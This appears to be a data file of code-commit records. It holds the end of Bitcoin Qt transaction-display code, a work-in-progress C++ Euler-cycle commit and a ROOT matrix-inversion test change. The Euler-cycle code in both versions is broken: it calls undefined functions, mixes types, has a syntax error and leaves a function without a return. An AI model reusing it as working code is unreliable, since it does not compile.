\"<b>\" + tr(\"Transaction fee\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -nTxFee) + \"<br>\";\n        }\n        else\n        {\n            \/\/\n            \/\/ Mixed debit transaction\n            \/\/\n            for (const CTxIn& txin : wtx.tx->vin)\n                if (wallet->IsMine(txin))\n                    strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -wallet->GetDebit(txin, ISMINE_ALL)) + \"<br>\";\n            for (const CTxOut& txout : wtx.tx->vout)\n                if (wallet->IsMine(txout))\n                    strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, wallet->GetCredit(txout, ISMINE_ALL)) + \"<br>\";\n        }\n    }\n\n    strHTML += \"<b>\" + tr(\"Net amount\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nNet, true) + \"<br>\";\n\n    \/\/\n    \/\/ Message\n    \/\/\n    if (wtx.mapValue.count(\"message\") && !wtx.mapValue[\"message\"].empty())\n        strHTML += \"<br><b>\" + tr(\"Message\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(wtx.mapValue[\"message\"], true) + \"<br>\";\n    if (wtx.mapValue.count(\"comment\") && !wtx.mapValue[\"comment\"].empty())\n        strHTML += \"<br><b>\" + tr(\"Comment\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(wtx.mapValue[\"comment\"], true) + \"<br>\";\n\n    strHTML += \"<b>\" + tr(\"Transaction ID\") + \":<\/b> \" + rec->getTxID() + \"<br>\";\n    strHTML += \"<b>\" + tr(\"Transaction total size\") + \":<\/b> \" + QString::number(wtx.tx->GetTotalSize()) + \" bytes<br>\";\n    strHTML += \"<b>\" + tr(\"Output index\") + \":<\/b> \" + QString::number(rec->getOutputIndex()) + \"<br>\";\n\n    \/\/ Message from normal bitcoin:URI (bitcoin:123...?message=example)\n    for (const std::pair<std::string, std::string>& r : wtx.vOrderForm)\n        if (r.first == \"Message\")\n            strHTML += \"<br><b>\" + tr(\"Message\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(r.second, true) + \"<br>\";\n\n    \/\/\n    \/\/ PaymentRequest info:\n    \/\/\n    for (const std::pair<std::string, std::string>& r : wtx.vOrderForm)\n    {\n        if (r.first == \"PaymentRequest\")\n        {\n            PaymentRequestPlus req;\n            req.parse(QByteArray::fromRawData(r.second.data(), r.second.size()));\n            QString merchant;\n            if (req.getMerchant(PaymentServer::getCertStore(), merchant))\n                strHTML += \"<b>\" + tr(\"Merchant\") + \":<\/b> \" + GUIUtil::HtmlEscape(merchant) + \"<br>\";\n        }\n    }\n\n    if (wtx.IsCoinBase())\n    {\n        quint32 numBlocksToMaturity = COINBASE_MATURITY +  1;\n        strHTML += \"<br>\" + tr(\"Generated coins must mature %1 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to \\\"not accepted\\\" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.\").arg(QString::number(numBlocksToMaturity)) + \"<br>\";\n    }\n\n    \/\/\n    \/\/ Debug view\n    \/\/\n    if (logCategories != BCLog::NONE)\n    {\n        strHTML += \"<hr><br>\" + tr(\"Debug information\") + \"<br><br>\";\n        for (const CTxIn& txin : wtx.tx->vin)\n            if(wallet->IsMine(txin))\n                strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -wallet->GetDebit(txin, ISMINE_ALL)) + \"<br>\";\n        for (const CTxOut& txout : wtx.tx->vout)\n            if(wallet->IsMine(txout))\n                strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, wallet->GetCredit(txout, ISMINE_ALL)) + \"<br>\";\n\n        strHTML += \"<br><b>\" + tr(\"Transaction\") + \":<\/b><br>\";\n        strHTML += GUIUtil::HtmlEscape(wtx.tx->ToString(), true);\n\n        strHTML += \"<br><b>\" + tr(\"Inputs\") + \":<\/b>\";\n        strHTML += \"<ul>\";\n\n        for (const CTxIn& txin : wtx.tx->vin)\n        {\n            COutPoint prevout = txin.prevout;\n\n            Coin prev;\n            if(pcoinsTip->GetCoin(prevout, prev))\n            {\n                {\n                    strHTML += \"<li>\";\n                    const CTxOut &vout = prev.out;\n                    CTxDestination address;\n                    if (ExtractDestination(vout.scriptPubKey, address))\n                    {\n                        if (wallet->mapAddressBook.count(address) && !wallet->mapAddressBook[address].name.empty())\n                            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \" \";\n                        strHTML += QString::fromStdString(EncodeDestination(address));\n                    }\n                    strHTML = strHTML + \" \" + tr(\"Amount\") + \"=\" + BitcoinUnits::formatHtmlWithUnit(unit, vout.nValue);\n                    strHTML = strHTML + \" IsMine=\" + (wallet->IsMine(vout) & ISMINE_SPENDABLE ? tr(\"true\") : tr(\"false\")) + \"<\/li>\";\n                    strHTML = strHTML + \" IsWatchOnly=\" + (wallet->IsMine(vout) & ISMINE_WATCH_ONLY ? tr(\"true\") : tr(\"false\")) + \"<\/li>\";\n                }\n            }\n        }\n\n        strHTML += \"<\/ul>\";\n    }\n\n    strHTML += \"<\/font><\/html>\";\n    return strHTML;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"EulerCycle.h\"\n#include <cassert>\n#include <stack>\n\nstatic bool HasEulerCycle(int g[MAX][MAX], int n) {\n  for (int i = 0; i < n; i++) {\n    int degree = 0;\n    for (int j = 0; j < n; j++) {\n      if (g[i][j] > 0) {\n        degree++;\n      }\n    }\n    if (degree % 2 == 1) {\n      return false;\n    }\n  }\n  return true;\n}\n\nstatic int MaxDegree(int g[MAX][MAX], int *degree, int beg) {\n  int d_max(0), index(-1);\n  for (int i = 0; i < g.g_cnt; ++i) {\n    if (i == beg)\n      continue;\n    \/\/在beg相邻节点中找出最大度数节点\n    if (g.g_m[beg][i] and d_max < degree[i])\n      d_max = degree[i], index = i;\n  }\n  return (index);\n}\n\nstatic void Dfs(int g[MAX][MAX], int *degree, int beg, std::stack<int> &path) {\n  path.push(beg);\n  \/\/找出beg相邻节点中度数最大的节点 对他进行下一次dfs\n  int d_max = max_degree(g, degree, beg);\n  \/\/终止递归条件 若beg没有邻节点则递归搜索结束\n  if (d_max == -1)\n    return;\n\n  \/\/每次从当前节点向外找一条新的边\n  \/\/并将当前走过的路删除\n  g.g_m[beg][d_max] = 0;\n  g.g_m[d_max][beg] = 0;\n  \/\/当前节点和下一个节点的度数也减1\n  --degree[beg];\n  --degree[d_max];\n  dfs_loop(g, degree, d_max, path);\n}\n\nstd::pair<bool, std::vector<int>> EulerCycle(int g[MAX][MAX], int n) {\n  if (!HasEulerCycle(g, n)) {\n    return std::make_pair(false, std::vector<int>());\n  }\n}\n\nbool loop_exist(int *degree, int n);\nvoid dfs_loop(graph_matrix g, int *degree, int beg, stack<int> &path);\nint max_degree(graph_matrix g, int *degree, int beg);\n\nbool euler_loop(\n    graph_matrix g,\n    stack<int>\n        &path) { \/\/邻接矩阵中g.g_m[i][j]的值为0或1\n                 \/\/指代从节点i到j是否存在一条有向边 判断是否存在欧拉回路\n                 \/\/若存在则返回栈path 栈path中从底至顶\n                 \/\/逆序存储着欧拉回路的所有顶点下标号\n                 \/\/依次对path出栈即可得到欧拉回路\n                 \/\/在无向图中不用考虑这个逆序\n                 \/\/因为欧拉回路或欧拉路在无向边中可以两个方向走 path初始为空\n  int degree[MAX];\n  memset(degree, 0, MAX * sizeof(int));\n  \/\/ degree[i]指代节点i的度数\n  for (int i = 0; i < g.g_cnt; ++i)\n    for (int j = 0; j < g.g_cnt; ++j)\n      degree[i] += g.g_m[i][j];\n  if (loop_exist((int *)degree, g.g_cnt)) {\n    \/\/判断无向连通图G中是否存在欧拉回路\n    dfs_loop(g, degree, 0, path);\n    return (true);\n  } else\n    return (false);\n}\nbool loop_exist(int *degree, int n) { \/\/判断无向连通图G中是否存在欧拉回路\n  for (int i = 0; i < n; ++i)\n    \/\/若存在度数为奇数的节点则不存在欧拉回路\n    if (degree[i] % 2 == 1)\n      return (false);\n  return (true);\n}\nvoid dfs_loop(graph_matrix g, int *degree, int beg,\n              stack<int> &path) { \/\/返回的path中从底至顶\n                                  \/\/逆序存储着欧拉回路的所有顶点下标号\n                                  \/\/对path出栈即可得到欧拉回路 path初始为空\n  path.push(beg);\n  \/\/找出beg相邻节点中度数最大的节点 对他进行下一次dfs\n  int d_max = max_degree(g, degree, beg);\n  \/\/终止递归条件 若beg没有邻节点则递归搜索结束\n  if (d_max == -1)\n    return;\n\n  \/\/每次从当前节点向外找一条新的边\n  \/\/并将当前走过的路删除\n  g.g_m[beg][d_max] = 0;\n  g.g_m[d_max][beg] = 0;\n  \/\/当前节点和下一个节点的度数也减1\n  --degree[beg];\n  --degree[d_max];\n  dfs_loop(g, degree, d_max, path);\n}\nint max_degree(graph_matrix g, int *degree, int beg) {\n  int d_max(0), index(-1);\n  for (int i = 0; i < g.g_cnt; ++i) {\n    if (i == beg)\n      continue;\n    \/\/在beg相邻节点中找出最大度数节点\n    if (g.g_m[beg][i] and d_max < degree[i])\n      d_max = degree[i], index = i;\n  }\n  return (index);\n}\n\n<commit_msg>save code<commit_after>#include \"EulerCycle.h\"\n#include <cassert>\n#include <stack>\n\nstatic bool UndirectedGraphExist(int g[MAX][MAX], int n) {\n  for (int i = 0; i < n; i++) {\n    int degree = 0;\n    for (int j = 0; j < n; j++) {\n      if (g[i][j] > 0) {\n        degree++;\n      }\n    }\n    if (degree % 2 == 1) {\n      return false;\n    }\n  }\n  return true;\n}\n\nstatic int MaxDegree(int g[MAX][MAX], int *degree, int beg) {\n  int d_max(0), index(-1);\n  for (int i = 0; i < g.g_cnt; ++i) {\n    if (i == beg)\n      continue;\n    \/\/在beg相邻节点中找出最大度数节点\n    if (g.g_m[beg][i] and d_max < degree[i])\n      d_max = degree[i], index = i;\n  }\n  return (index);\n}\n\nstatic void Dfs(int g[MAX][MAX], int *degree, int beg, std::stack<int> &path) {\n  path.push(beg);\n  \/\/找出beg相邻节点中度数最大的节点 对他进行下一次dfs\n  int md = MaxDegree(g, degree, beg);\n  \/\/终止递归条件 若beg没有邻节点则递归搜索结束\n  if (md == -1)\n    return;\n\n  \/\/每次从当前节点向外找一条新的边\n  \/\/并将当前走过的路删除\n  g.g_m[beg][md] = 0;\n  g.g_m[md][beg] = 0;\n  \/\/当前节点和下一个节点的度数也减1\n  degree[beg]--;\n  degree[md]-- - ;\n  dfs_loop(g, degree, md, path);\n}\n\nstd::pair<bool, std::vector<int>> EulerCycle(int g[MAX][MAX], int n) {\n  if (!UndirectedGraphExist(g, n)) {\n    return std::make_pair(false, std::vector<int>());\n  }\n}\n\nbool loop_exist(int *degree, int n);\nvoid dfs_loop(graph_matrix g, int *degree, int beg, stack<int> &path);\nint max_degree(graph_matrix g, int *degree, int beg);\n\nbool euler_loop(\n    graph_matrix g,\n    stack<int>\n        &path) { \/\/邻接矩阵中g.g_m[i][j]的值为0或1\n                 \/\/指代从节点i到j是否存在一条有向边 判断是否存在欧拉回路\n                 \/\/若存在则返回栈path 栈path中从底至顶\n                 \/\/逆序存储着欧拉回路的所有顶点下标号\n                 \/\/依次对path出栈即可得到欧拉回路\n                 \/\/在无向图中不用考虑这个逆序\n                 \/\/因为欧拉回路或欧拉路在无向边中可以两个方向走 path初始为空\n  int degree[MAX];\n  memset(degree, 0, MAX * sizeof(int));\n  \/\/ degree[i]指代节点i的度数\n  for (int i = 0; i < g.g_cnt; ++i)\n    for (int j = 0; j < g.g_cnt; ++j)\n      degree[i] += g.g_m[i][j];\n  if (loop_exist((int *)degree, g.g_cnt)) {\n    \/\/判断无向连通图G中是否存在欧拉回路\n    dfs_loop(g, degree, 0, path);\n    return (true);\n  } else\n    return (false);\n}\nbool loop_exist(int *degree, int n) { \/\/判断无向连通图G中是否存在欧拉回路\n  for (int i = 0; i < n; ++i)\n    \/\/若存在度数为奇数的节点则不存在欧拉回路\n    if (degree[i] % 2 == 1)\n      return (false);\n  return (true);\n}\nvoid dfs_loop(graph_matrix g, int *degree, int beg,\n              stack<int> &path) { \/\/返回的path中从底至顶\n                                  \/\/逆序存储着欧拉回路的所有顶点下标号\n                                  \/\/对path出栈即可得到欧拉回路 path初始为空\n  path.push(beg);\n  \/\/找出beg相邻节点中度数最大的节点 对他进行下一次dfs\n  int d_max = max_degree(g, degree, beg);\n  \/\/终止递归条件 若beg没有邻节点则递归搜索结束\n  if (d_max == -1)\n    return;\n\n  \/\/每次从当前节点向外找一条新的边\n  \/\/并将当前走过的路删除\n  g.g_m[beg][d_max] = 0;\n  g.g_m[d_max][beg] = 0;\n  \/\/当前节点和下一个节点的度数也减1\n  --degree[beg];\n  --degree[d_max];\n  dfs_loop(g, degree, d_max, path);\n}\nint max_degree(graph_matrix g, int *degree, int beg) {\n  int d_max(0), index(-1);\n  for (int i = 0; i < g.g_cnt; ++i) {\n    if (i == beg)\n      continue;\n    \/\/在beg相邻节点中找出最大度数节点\n    if (g.g_m[beg][i] and d_max < degree[i])\n      d_max = degree[i], index = i;\n  }\n  return (index);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ stress inversion of matrices with varios methods\n#include \"Math\/SMatrix.h\"\n#include \"TMatrixTSym.h\"\n#include \"TDecompChol.h\"\n#include \"TDecompBK.h\"\n\n#include \"TRandom.h\"\n#include <vector>\n#include <string>\n#include <iostream>\n#include <cmath>\n#include <limits>\n\n#include \"TStopwatch.h\"\n\n\/\/ matrix size\n#ifndef N\n#define N 5\n#endif\n\nbool doSelfTest = true;\n\n\/\/timer\nnamespace test {\n\n\n#ifdef REPORT_TIME\n   void reportTime( std::string s, double time);\n#endif\n\n   void printTime(TStopwatch & time, std::string s) {\n      int pr = std::cout.precision(8);\n      std::cout << s << \"\\t\" << \" time = \" << time.RealTime() << \"\\t(sec)\\t\"\n         \/\/    << time.CpuTime()\n                << std::endl;\n      std::cout.precision(pr);\n   }\n\n\n\n   class Timer {\n\n   public:\n\n      Timer(const std::string & s = \"\") : fName(s), fTime(0)\n      {\n         fWatch.Start();\n      }\n      Timer(double & t, const std::string & s = \"\") : fName(s), fTime(&t)\n      {\n         fWatch.Start();\n      }\n\n      ~Timer() {\n         fWatch.Stop();\n         printTime(fWatch,fName);\n#ifdef REPORT_TIME\n         \/\/ report time\n         reportTime(fName, fWatch.RealTime() );\n#endif\n         if (fTime) *fTime += fWatch.RealTime();\n      }\n\n\n   private:\n\n      std::string fName;\n      double * fTime;\n      TStopwatch fWatch;\n\n   };\n}\n\nusing namespace ROOT::Math;\n\n\n\ntypedef  SMatrix<double,N,N, MatRepSym<double,N> >  SymMatrix;\n\n\/\/ create matrix\ntemplate<class M>\nM * createMatrix() {\n   return new M();\n}\n\/\/ specialized for TMatrix\ntemplate<>\nTMatrixTSym<double> * createMatrix<TMatrixTSym<double> >() {\n   return new TMatrixTSym<double>(N);\n}\n\n\/\/print matrix\ntemplate<class M>\nvoid printMatrix(const M & m) {\n   std::cout << m << std::endl;\n}\ntemplate<>\nvoid printMatrix<TMatrixTSym<double> >(const TMatrixTSym<double> & m ) {\n   m.Print();\n}\n\n\/\/ generate matrices\ntemplate<class M>\nvoid genMatrix(M  & m ) {\n   TRandom & r = *gRandom;\n   \/\/ generate first diagonal elemets\n   for (int i = 0; i < N; ++i) {\n      double maxVal = i*10000\/(N-1) + 1;  \/\/ max condition is 10^4\n      m(i,i) = r.Uniform(0, maxVal);\n   }\n   for (int i = 0; i < N; ++i) {\n      for (int j = 0; j < i; ++j) {\n         double v = 0.3*std::sqrt( m(i,i) * m(j,j) ); \/\/ this makes the matrix pos defined\n         m(i,j) = r.Uniform(0, v);\n         m(j,i) = m(i,j); \/\/ needed for TMatrix\n      }\n   }\n}\n\n\/\/ generate all matrices\ntemplate<class M>\nvoid generate(std::vector<M*> & v) {\n   int n = v.size();\n   gRandom->SetSeed(111);\n   for (int i = 0; i < n; ++i) {\n      v[i] = createMatrix<M>();\n      genMatrix(*v[i] );\n   }\n}\n\n\nstruct Choleski {};\nstruct BK {};\nstruct QR {};\nstruct Cramer {};\nstruct Default {};\n\ntemplate <class M, class Type>\nstruct TestInverter {\n   static bool Inv ( const M & , M & ) { return false;}\n   static bool Inv2 ( M & ) { return false;}\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, Choleski> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.InverseChol(ifail);\n      return  ifail == 0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.InvertChol();\n   }\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, BK> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.Inverse(ifail);\n      return ifail==0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.Invert();\n   }\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, Cramer> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.InverseFast(ifail);\n      return ifail==0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.InvertFast();\n   }\n};\n\n#ifdef LATER\ntemplate <>\nstruct TestInverter<SymMatrix, QR> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      ROOT::Math::QRDecomposition<double> d;\n      int ifail = 0;\n      result = m.InverseFast(ifail);\n      return ifail==0;\n   }\n};\n#endif\n\n\/\/TMatrix functions\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Default> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      result = m;\n      result.Invert();\n      return true;\n   }\n   static bool Inv2 ( TMatrixDSym & m ) {\n      m.Invert();\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Cramer> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      result = m;\n      result.InvertFast();\n      return true;\n   }\n   static bool Inv2 ( TMatrixDSym & m ) {\n      m.InvertFast();\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Choleski> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      TDecompChol chol(m);\n      if (!chol.Decompose() ) return false;\n      chol.Invert(result);\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, BK> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      TDecompBK d(m);\n      if (!d.Decompose() ) return false;\n      d.Invert(result);\n      return true;\n   }\n};\n\n\ntemplate<class M, class T>\ndouble invert( const std::vector<M* >  & matlist, double & time,std::string s) {\n   M result = *(matlist.front());\n   test::Timer t(time,s);\n   int nloop = matlist.size();\n   double sum = 0;\n   for (int l = 0; l < nloop; l++)\n   {\n      const M & m = *(matlist[l]);\n      bool ok = TestInverter<M,T>::Inv(m,result);\n      if (!ok) {\n         std::cout << \"inv failed for matrix \" << l << std::endl;\n         printMatrix<M>( m);\n         return -1;\n      }\n      sum += result(0,1);\n   }\n   return sum;\n}\n\n\/\/ invert without copying the matrices (une INv2)\n\ntemplate<class M, class T>\ndouble invert2( const std::vector<M* >  & matlist, double & time,std::string s) {\n\n   \/\/ copy vector of matrices\n   int nloop = matlist.size();\n   std::vector<M *> vmat(nloop);\n   for (int l = 0; l < nloop; l++)\n   {\n      vmat[l] = new M( *matlist[l] );\n   }\n\n   test::Timer t(time,s);\n   double sum = 0;\n   for (int l = 0; l < nloop; l++)\n   {\n      M & m = *(vmat[l]);\n      bool ok = TestInverter<M,T>::Inv2(m);\n      if (!ok) {\n         std::cout << \"inv failed for matrix \" << l << std::endl;\n         printMatrix<M>( m);\n         return -1;\n      }\n      sum += m(0,1);\n   }\n   return sum;\n}\n\nbool equal(double d1, double d2, double stol = 10000) {\n   std::cout.precision(12);  \/\/ tolerance is 1E-12\n   double eps = stol * std::numeric_limits<double>::epsilon();\n   if ( std::abs(d1) > 0 && std::abs(d2) > 0 )\n      return  ( std::abs( d1-d2) < eps * std::max(std::abs(d1), std::abs(d2) ) );\n   else if ( d1 == 0 )\n      return std::abs(d2) < eps;\n   else \/\/ d2 = 0\n      return std::abs(d1) < eps;\n}\n\n\/\/ test matrices symmetric and positive defines\nbool stressSymPosInversion(int n, bool selftest ) {\n\n   \/\/ test smatrix\n\n   std::vector<SymMatrix *> v1(n);\n   generate(v1);\n   std::vector<TMatrixDSym *> v2(n);\n   generate(v2);\n\n\n   bool iret = true;\n   double time = 0;\n   double s1 = invert<SymMatrix, Choleski> (v1, time,\"SMatrix Chol\");\n   double s2 = invert<SymMatrix, BK> (v1, time,\"SMatrix   BK\");\n   double s3 = invert<SymMatrix, Cramer> (v1, time,\"SMatrix Cram\");\n   bool ok = ( equal(s1,s2) && equal(s1,s3) );\n   if (!ok) {\n      std::cout << \"result SMatrix choleski  \" << s1 << \" BK   \" << s2 << \" cramer \" << s3 << std::endl;\n      std::cerr <<\"Error:  inversion test for SMatrix FAILED ! \" << std::endl;\n   }\n   iret  &= ok;\n   std::cout << std::endl;\n\n   double m1 = invert<TMatrixDSym, Choleski> (v2, time,\"TMatrix Chol\");\n   double m2 = invert<TMatrixDSym, BK> (v2, time,\"TMatrix   BK\");\n   double m3 = invert<TMatrixDSym, Cramer> (v2, time,\"TMatrix Cram\");\n   double m4 = invert<TMatrixDSym, Default> (v2, time,\"TMatrix  Def\");\n\n   ok =  ( equal(m1,m2) && equal(m1,m3) && equal(m1,m4) );\n   if (!ok) {\n      std::cout << \"result TMatrix choleski  \" << m1 << \" BK   \" << m2\n                << \" cramer \" << m3 << \" default \" << m4 << std::endl;\n      std::cerr <<\"Error:  inversion test for TMatrix FAILED ! \" << std::endl;\n   }\n   iret  &= ok;\n   std::cout << std::endl;\n\n\n      \/\/ test using self inversion\n   if (selftest) {\n      std::cout << \"\\n - self inversion test \\n\";\n      double s11 = invert2<SymMatrix, Choleski> (v1, time,\"SMatrix Chol\");\n      double s12 = invert2<SymMatrix, BK> (v1, time,\"SMatrix   BK\");\n      double s13 = invert2<SymMatrix, Cramer> (v1, time,\"SMatrix Cram\");\n      ok =  ( equal(s11,s12) && equal(s11,s13) );\n      if (!ok) {\n         std::cout << \"result SMatrix choleski  \" << s11 << \" BK   \" << s12 << \" cramer \" << s13 << std::endl;\n         std::cerr <<\"Error:  self inversion test for SMatrix FAILED ! \" << std::endl;\n      }\n      iret  &= ok;\n      std::cout << std::endl;\n\n      double m13 = invert2<TMatrixDSym, Cramer> (v2, time,\"TMatrix Cram\");\n      double m14 = invert2<TMatrixDSym, Default> (v2, time,\"TMatrix  Def\");\n      ok =  ( equal(m13,m14)  );\n      if (!ok) {\n         std::cout << \"result TMatrix  cramer \" << m13 << \" default \" << m14 << std::endl;\n         std::cerr <<\"Error:  self inversion test for TMatrix FAILED ! \" << std::endl;\n      }\n      iret  &= ok;\n      std::cout << std::endl;\n   }\n\n   return iret;\n}\n\nint testInversion(int n = 100000) {\n   std::cout << \"Test Inversion for matrix with N = \" << N << std::endl;\n   bool ok = stressSymPosInversion(n, doSelfTest);\n   std::cerr << \"Test inversion of positive defined matrix ....... \";\n   if (ok) std::cerr << \"OK \\n\";\n   else std::cerr << \"FAILED \\n\";\n   return (ok) ? 0 : -1;\n}\n\nint main() {\n   return testInversion();\n}\n<commit_msg>[math] Replace preprocessor define with constexpr in testInversion.cxx<commit_after>\/\/ stress inversion of matrices with varios methods\n#include \"Math\/SMatrix.h\"\n#include \"TMatrixTSym.h\"\n#include \"TDecompChol.h\"\n#include \"TDecompBK.h\"\n\n#include \"TRandom.h\"\n#include <vector>\n#include <string>\n#include <iostream>\n#include <cmath>\n#include <limits>\n\n#include \"TStopwatch.h\"\n\n\/\/ matrix size\nconstexpr unsigned int N = 5;\n\nbool doSelfTest = true;\n\n\/\/timer\nnamespace test {\n\n\n#ifdef REPORT_TIME\n   void reportTime( std::string s, double time);\n#endif\n\n   void printTime(TStopwatch & time, std::string s) {\n      int pr = std::cout.precision(8);\n      std::cout << s << \"\\t\" << \" time = \" << time.RealTime() << \"\\t(sec)\\t\"\n         \/\/    << time.CpuTime()\n                << std::endl;\n      std::cout.precision(pr);\n   }\n\n\n\n   class Timer {\n\n   public:\n\n      Timer(const std::string & s = \"\") : fName(s), fTime(0)\n      {\n         fWatch.Start();\n      }\n      Timer(double & t, const std::string & s = \"\") : fName(s), fTime(&t)\n      {\n         fWatch.Start();\n      }\n\n      ~Timer() {\n         fWatch.Stop();\n         printTime(fWatch,fName);\n#ifdef REPORT_TIME\n         \/\/ report time\n         reportTime(fName, fWatch.RealTime() );\n#endif\n         if (fTime) *fTime += fWatch.RealTime();\n      }\n\n\n   private:\n\n      std::string fName;\n      double * fTime;\n      TStopwatch fWatch;\n\n   };\n}\n\nusing namespace ROOT::Math;\n\n\n\ntypedef  SMatrix<double,N,N, MatRepSym<double,N> >  SymMatrix;\n\n\/\/ create matrix\ntemplate<class M>\nM * createMatrix() {\n   return new M();\n}\n\/\/ specialized for TMatrix\ntemplate<>\nTMatrixTSym<double> * createMatrix<TMatrixTSym<double> >() {\n   return new TMatrixTSym<double>(N);\n}\n\n\/\/print matrix\ntemplate<class M>\nvoid printMatrix(const M & m) {\n   std::cout << m << std::endl;\n}\ntemplate<>\nvoid printMatrix<TMatrixTSym<double> >(const TMatrixTSym<double> & m ) {\n   m.Print();\n}\n\n\/\/ generate matrices\ntemplate<class M>\nvoid genMatrix(M  & m ) {\n   TRandom & r = *gRandom;\n   \/\/ generate first diagonal elemets\n   for (int i = 0; i < N; ++i) {\n      double maxVal = i*10000\/(N-1) + 1;  \/\/ max condition is 10^4\n      m(i,i) = r.Uniform(0, maxVal);\n   }\n   for (int i = 0; i < N; ++i) {\n      for (int j = 0; j < i; ++j) {\n         double v = 0.3*std::sqrt( m(i,i) * m(j,j) ); \/\/ this makes the matrix pos defined\n         m(i,j) = r.Uniform(0, v);\n         m(j,i) = m(i,j); \/\/ needed for TMatrix\n      }\n   }\n}\n\n\/\/ generate all matrices\ntemplate<class M>\nvoid generate(std::vector<M*> & v) {\n   int n = v.size();\n   gRandom->SetSeed(111);\n   for (int i = 0; i < n; ++i) {\n      v[i] = createMatrix<M>();\n      genMatrix(*v[i] );\n   }\n}\n\n\nstruct Choleski {};\nstruct BK {};\nstruct QR {};\nstruct Cramer {};\nstruct Default {};\n\ntemplate <class M, class Type>\nstruct TestInverter {\n   static bool Inv ( const M & , M & ) { return false;}\n   static bool Inv2 ( M & ) { return false;}\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, Choleski> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.InverseChol(ifail);\n      return  ifail == 0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.InvertChol();\n   }\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, BK> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.Inverse(ifail);\n      return ifail==0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.Invert();\n   }\n};\n\ntemplate <>\nstruct TestInverter<SymMatrix, Cramer> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      int ifail = 0;\n      result = m.InverseFast(ifail);\n      return ifail==0;\n   }\n   static bool Inv2 ( SymMatrix & m ) {\n      return m.InvertFast();\n   }\n};\n\n#ifdef LATER\ntemplate <>\nstruct TestInverter<SymMatrix, QR> {\n   static bool Inv ( const SymMatrix & m, SymMatrix & result ) {\n      ROOT::Math::QRDecomposition<double> d;\n      int ifail = 0;\n      result = m.InverseFast(ifail);\n      return ifail==0;\n   }\n};\n#endif\n\n\/\/TMatrix functions\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Default> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      result = m;\n      result.Invert();\n      return true;\n   }\n   static bool Inv2 ( TMatrixDSym & m ) {\n      m.Invert();\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Cramer> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      result = m;\n      result.InvertFast();\n      return true;\n   }\n   static bool Inv2 ( TMatrixDSym & m ) {\n      m.InvertFast();\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, Choleski> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      TDecompChol chol(m);\n      if (!chol.Decompose() ) return false;\n      chol.Invert(result);\n      return true;\n   }\n};\n\ntemplate <>\nstruct TestInverter<TMatrixDSym, BK> {\n   static bool Inv ( const TMatrixDSym & m, TMatrixDSym & result ) {\n      TDecompBK d(m);\n      if (!d.Decompose() ) return false;\n      d.Invert(result);\n      return true;\n   }\n};\n\n\ntemplate<class M, class T>\ndouble invert( const std::vector<M* >  & matlist, double & time,std::string s) {\n   M result = *(matlist.front());\n   test::Timer t(time,s);\n   int nloop = matlist.size();\n   double sum = 0;\n   for (int l = 0; l < nloop; l++)\n   {\n      const M & m = *(matlist[l]);\n      bool ok = TestInverter<M,T>::Inv(m,result);\n      if (!ok) {\n         std::cout << \"inv failed for matrix \" << l << std::endl;\n         printMatrix<M>( m);\n         return -1;\n      }\n      sum += result(0,1);\n   }\n   return sum;\n}\n\n\/\/ invert without copying the matrices (une INv2)\n\ntemplate<class M, class T>\ndouble invert2( const std::vector<M* >  & matlist, double & time,std::string s) {\n\n   \/\/ copy vector of matrices\n   int nloop = matlist.size();\n   std::vector<M *> vmat(nloop);\n   for (int l = 0; l < nloop; l++)\n   {\n      